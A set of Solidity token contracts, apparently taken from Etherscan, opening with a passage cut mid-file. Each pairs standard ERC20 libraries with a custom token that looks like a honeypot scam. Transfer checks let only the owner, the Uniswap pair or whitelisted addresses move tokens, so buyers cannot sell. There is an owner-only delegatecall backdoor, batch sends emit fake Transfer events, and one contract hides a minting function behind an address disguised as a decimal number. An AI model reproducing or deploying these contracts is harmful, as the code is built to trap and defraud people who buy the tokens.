sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UNIV1SwapCoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
/** *Submitted for verification at Etherscan.io on 2021-07-06 */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
/** *Submitted for verification at Etherscan.io on 2021-06-09 */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ETH20 { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; // _ _ _ __ _ // | | | (_) / _(_) // | |__| |_ _ __ _ __ ___ | |_ _ _ __ __ _ _ __ ___ ___ // | __ | | '_ \| '_ \ / _ \ | _| | '_ \ / _` | '_ \ / __/ _ \ // | | | | | |_) | |_) | (_) || | | | | | | (_| | | | | (_| __/ // |_| |_|_| .__/| .__/ \___(_)_| |_|_| |_|\__,_|_| |_|\___\___| // | | | | // |_| |_| // // // // HIPPO.FINANCE interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract hippofinance { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
